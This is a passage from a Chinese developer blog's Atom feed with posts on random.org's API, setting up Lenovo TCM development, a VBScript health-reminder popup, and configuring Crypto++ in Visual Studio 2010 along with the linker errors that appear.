<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_学海无际　程序人生</title><subtitle type="text">技术积累</subtitle><id>http://feed.cnblogs.com/blog/u/20804/rss</id><updated>2011-10-28T02:56:20Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><generator>CNBlogs BlogServer</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/20804/rss"/><entry><id>http://www.cnblogs.com/cxun/archive/2011/10/28/2227407.html</id><title type="text">公用的随机数据生成网站</title><summary type="text">发现一个好用的随机数据生成网站：http://www.random.org，可以生成整型数字、序列、字符串等等，甚至批量生成。 开发软件若需要可以使用它，这里给一个DEMO，生成1个8字符的字符串，只使用数字，返回格式是txt格式： http://www.random.org/strings/?num=1&amp;amp;len=8&amp;amp;digits=on&amp;amp;unique=on&amp;amp;format=plain&amp;amp;rnd=n...</summary><published>2011-10-28T02:55:00Z</published><updated>2011-10-28T02:55:00Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cxun/archive/2011/10/28/2227407.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/archive/2011/10/28/2227407.html"/><content type="html">&lt;p&gt;发现一个好用的随机数据生成网站：&lt;a href="http://www.random.org" target="_blank"&gt;http://www.random.org&lt;/a&gt;，可以生成整型数字、序列、字符串等等，甚至批量生成。&lt;/p&gt;  &lt;p&gt;开发软件若需要可以使用它，这里给一个DEMO，生成1个8字符的字符串，只使用数字，返回格式是txt格式：&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.random.org/strings/?num=1&amp;amp;len=8&amp;amp;digits=on&amp;amp;unique=on&amp;amp;format=plain&amp;amp;rnd=new" target="_blank"&gt;http://www.random.org/strings/?num=1&amp;amp;len=8&amp;amp;digits=on&amp;amp;unique=on&amp;amp;format=plain&amp;amp;rnd=new&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;种子使用字符串“201110281033”：&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.random.org/strings/?num=1&amp;amp;len=8&amp;amp;digits=on&amp;amp;unique=on&amp;amp;format=plain&amp;amp;rnd=id.201110281033" target="_blank"&gt;http://www.random.org/strings/?num=1&amp;amp;len=8&amp;amp;digits=on&amp;amp;unique=on&amp;amp;format=plain&amp;amp;rnd=id.201110281033&lt;/a&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cxun/aggbug/2227407.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cxun/archive/2011/10/28/2227407.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cxun/archive/2011/09/26/2191771.html</id><title type="text">lenovo Think Centre TCM 开发环境搭建</title><summary type="text">为使用TCM TSPI接口进行开发的环境搭建提供一个参考。</summary><published>2011-09-26T07:42:00Z</published><updated>2011-09-26T07:42:00Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cxun/archive/2011/09/26/2191771.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/archive/2011/09/26/2191771.html"/><content type="html">&lt;p&gt;LENOVO Think Centre 台式电脑自带的&amp;ldquo;联想安全应用安装光盘v3&amp;rdquo;中包含&amp;ldquo;联想数据盾牌2.0&amp;rdquo;软件，安装后会自动安装TCM驱动和TSS软件栈，通过调用system32下的TCMTSP_C.dll的&amp;ldquo;Tspi_Context_Connect&amp;rdquo;接口会返回0x3004错误（An internal SW error has been detected）。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;原因是我安装的TCM Service Module (TSM) SDK与联想的TCS版本不匹配造成的，于是经过反复摸索，最后发现其实很简单，TSM SDK已经自带TCS，与联想的TCS冲突造成的。因此，安装步骤整理如下：&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;1.安装TCM驱动&lt;/p&gt;&#xD;
&lt;p&gt;先安装联想的数据盾牌软件客户端，安装完成后在其安装目录会有TSS文件夹，里面会有TSS与TCM驱动的安装包，复制出来，再把数据盾牌客户端卸载掉，它会把TSS和TCM驱动也一块卸载掉。然后再手动安装TCM驱动，安装完后千万不要安装TSS安装包了。&lt;/p&gt;&#xD;
&lt;p&gt;2.安装TSM SDK&lt;/p&gt;&#xD;
&lt;p&gt;安装TSM SDK安装包（下载地址找不到了，需要的话可以留下邮箱），它会把TCS给安装上。安装完后，开发需要的头文件(.h)和库文件(.lib)也已经有了。&lt;/p&gt;&#xD;
&lt;p&gt;3.调用TSPI接口&lt;/p&gt;&#xD;
&lt;p&gt;在工程属性中设置好头文件和库文件的路径，这时可以调用SDK中的Tspi_XXX接口进行开发了。这时发现，Tspi_Context_Connect函数的返回值是&amp;ldquo;0&amp;rdquo;了，运行正常，Oh yeah~~纠结了好几天啊~&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cxun/aggbug/2191771.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cxun/archive/2011/09/26/2191771.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cxun/archive/2010/12/30/1921313.html</id><title type="text">办公族的健康提醒脚本</title><summary type="text">最近发现自己的脖子没有以前那么灵活了，经常有硬硬的、容易扭伤的感觉，我就知道我应该是得了颈椎病，在繁忙的工作中抽了点时间写了个脚本，督促自己每过1小时就活动活动颈椎，发现这是个不错的办法，也适合一些公司电脑禁止使用U盘的朋友们。使用记事本敲入以下代码：然后保存为“health.vbs”，平时放在桌面上，每天开机第一件事就是启用这个脚本。OK，接下来就是遵循提示，别一直坐在电脑前面，多活动活动身体吧~可以参考网上一些活动颈椎的方法：http://pic.people.com.cn/mediafile/200512/31/F200512311603272708931065.jpgPS：脚本没有完善</summary><published>2010-12-29T23:38:00Z</published><updated>2010-12-29T23:38:00Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cxun/archive/2010/12/30/1921313.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/archive/2010/12/30/1921313.html"/><content type="html">&lt;p&gt;最近发现自己的脖子没有以前那么灵活了，经常有硬硬的、容易扭伤的感觉，我就知道我应该是得了颈椎病，在繁忙的工作中抽了点时间写了个脚本，督促自己每过1小时就活动活动颈椎，发现这是个不错的办法，也适合一些公司电脑禁止使用U盘的朋友们。&lt;/p&gt;&#xD;
&lt;p&gt;使用记事本敲入以下代码：&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;div &gt;&#xD;
&lt;pre &gt;MsgBox "建议每小时活动活动身体，不要老坐着~" + Chr(10) + _&#xD;
       "如：动动脖子（头划米字），出去走走（活动腰部），上个厕所",,"健康提示"&#xD;
inputTime = Inputbox("请输入提示的间隔时间（分钟）：","间隔时间")&#xD;
if (inputTime &amp;gt; 0) then&#xD;
	while true&#xD;
		t = inputTime* 1000 * 60&#xD;
		wscript.sleep(t)&#xD;
		MsgBox "时间到！动动脖子（头划米字），出去走走（活动腰部），上个厕所，对身体好~",,"健康提示"&#xD;
		MsgBox "时间到！动动脖子（头划米字），出去走走（活动腰部），上个厕所，对身体好~",,"健康提示"&#xD;
		MsgBox "时间到！动动脖子（头划米字），出去走走（活动腰部），上个厕所，对身体好~",,"健康提示"&#xD;
	wend&#xD;
end if&#xD;
&lt;/pre&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;p&gt;然后保存为&amp;ldquo;health.vbs&amp;rdquo;，平时放在桌面上，每天开机第一件事就是启用这个脚本。OK，接下来就是遵循提示，别一直坐在电脑前面，多活动活动身体吧~&lt;/p&gt;&#xD;
&lt;p&gt;可以参考网上一些活动颈椎的方法：http://pic.people.com.cn/mediafile/200512/31/F200512311603272708931065.jpg&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;PS：脚本没有完善，输入值有误时会有错误提示，但不影响系统，暂时没时间改啦，大家有空可以帮忙优化一下~&lt;/p&gt;&#xD;
&lt;p&gt;另外：代码中有三个MsgBox的原因是防止脚本提示时用户正好按下空格或回车导致没有看到提示，若觉得烦可以自行去掉重复的两行。&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cxun/aggbug/1921313.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cxun/archive/2010/12/30/1921313.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cxun/archive/2010/07/30/1788839.html</id><title type="text">搭建使用Crypto++的开发环境</title><summary type="text">使用Crypto++需要用到cryptolib，生成方法可以参考我以前的一篇文章：Visual Studio 2010下生成Crypto++ lib	我的开发环境如下：Visual Studio 20...</summary><published>2010-07-30T08:28:00Z</published><updated>2010-07-30T08:28:00Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cxun/archive/2010/07/30/1788839.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/archive/2010/07/30/1788839.html"/><content type="html">&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;使用Crypto++需要用到cryptolib，生成方法可以参考我以前的一篇文章：&lt;a href="http://www.cnblogs.com/cxun/archive/2010/07/29/1787748.html" target="_blank"&gt;Visual Studio 2010下生成Crypto++ lib&lt;/a&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;我的开发环境如下： &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-left: 22pt"&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;Visual Studio 2010、Crypto++5.6.0 &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;新建一个"Win32 Console Application"的空工程后，在以下地方修改工程属性（Alt + F7）： &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:12pt"&gt;&lt;span style="font-family:宋体"&gt;1. "Configuration Properties &lt;/span&gt;&lt;span style="font-family:Wingdings"&gt;&lt;/span&gt;&lt;span style="font-family:宋体"&gt; C/C++ &lt;/span&gt;&lt;span style="font-family:Wingdings"&gt;&lt;/span&gt;&lt;span style="font-family:宋体"&gt; General &lt;/span&gt;&lt;span style="font-family:Wingdings"&gt;&lt;/span&gt;&lt;span style="font-family:宋体"&gt; Addtional Include Directories"中添加Crypto++路径，如：&lt;span style="color:red"&gt;C:\Program Files\CryptoPP\include&lt;/span&gt;&#xD;
			&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:12pt"&gt;&lt;span style="font-family:宋体"&gt;2. "Configuration Properties &lt;/span&gt;&lt;span style="font-family:Wingdings"&gt;&lt;/span&gt;&lt;span style="font-family:宋体"&gt; Linker &lt;/span&gt;&lt;span style="font-family:Wingdings"&gt;&lt;/span&gt;&lt;span style="font-family:宋体"&gt; General &lt;/span&gt;&lt;span style="font-family:Wingdings"&gt;&lt;/span&gt;&lt;span style="font-family:宋体"&gt; Addtional Library Directories"中添加Crypto++路径，如：&lt;span style="color:red"&gt;C:\Program Files\CryptoPP\lib&lt;/span&gt;&#xD;
			&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:12pt"&gt;&lt;span style="font-family:宋体"&gt;3. "Configuration Properties &lt;/span&gt;&lt;span style="font-family:Wingdings"&gt;&lt;/span&gt;&lt;span style="font-family:宋体"&gt; C/C++ &lt;/span&gt;&lt;span style="font-family:Wingdings"&gt;&lt;/span&gt;&lt;span style="font-family:宋体"&gt; Code Generation &lt;/span&gt;&lt;span style="font-family:Wingdings"&gt;&lt;/span&gt;&lt;span style="font-family:宋体"&gt; Runtime Library"中修改为：&lt;span style="color:red"&gt;Multi-threaded Debug (/MTd) &lt;/span&gt;（debug下）或&lt;span style="color:red"&gt; Multi-threaded (/MT) &lt;/span&gt;（release下） &#xD;
&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;此时，使用Crypto++的开发环境就搭建好了。在Crypto++ User Guide中的例子（如&lt;a href="http://www.cryptopp.com/wiki/User_Guide:_cryptlib.h" target="_blank"&gt;Cryptlib.h&lt;/a&gt;）就能正常编译运行了，这里我提供了&lt;a href="http://www.cryptopp.com/wiki/User_Guide:_cryptlib.h" target="_blank"&gt;Cryptlib.h&lt;/a&gt;中例子的工程，&lt;a href="http://files.cnblogs.com/cxun/User_Guide.rar" target="_blank"&gt;点击下载&lt;/a&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;注意，若缺少上述的第3步，将出现如下链接错误： &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(hex.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(hex.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(hex.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(filters.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(filters.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(filters.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(cryptlib.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(cryptlib.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(cryptlib.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(basecode.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(basecode.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(basecode.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: __int64 __thiscall std::basic_streambuf&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::sputn(char const *,__int64)" (?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAE_JPBD_J@Z) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: bool __thiscall std::ios_base::good(void)const " (?good@ios_base@std@@QBE_NXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: class std::basic_ostream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt; &amp;amp; __thiscall std::basic_ostream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::flush(void)" (?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: void __thiscall std::basic_ios&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::setstate(int,bool)" (?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: class std::basic_streambuf&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt; * __thiscall std::basic_ios&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::rdbuf(void)const " (?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: int __thiscall std::ios_base::flags(void)const " (?flags@ios_base@std@@QBEHXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: void __thiscall std::basic_ostream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::_Osfx(void)" (?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(files.obj) : error LNK2005: "public: class std::basic_ostream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt; * __thiscall std::basic_ios&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::tie(void)const " (?tie@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_ostream@DU?$char_traits@D@std@@@2@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(crc.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(crc.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(crc.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(iterhash.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(iterhash.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(iterhash.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(md5.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(md5.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(md5.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(algparam.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(algparam.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(algparam.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(mqueue.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(mqueue.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
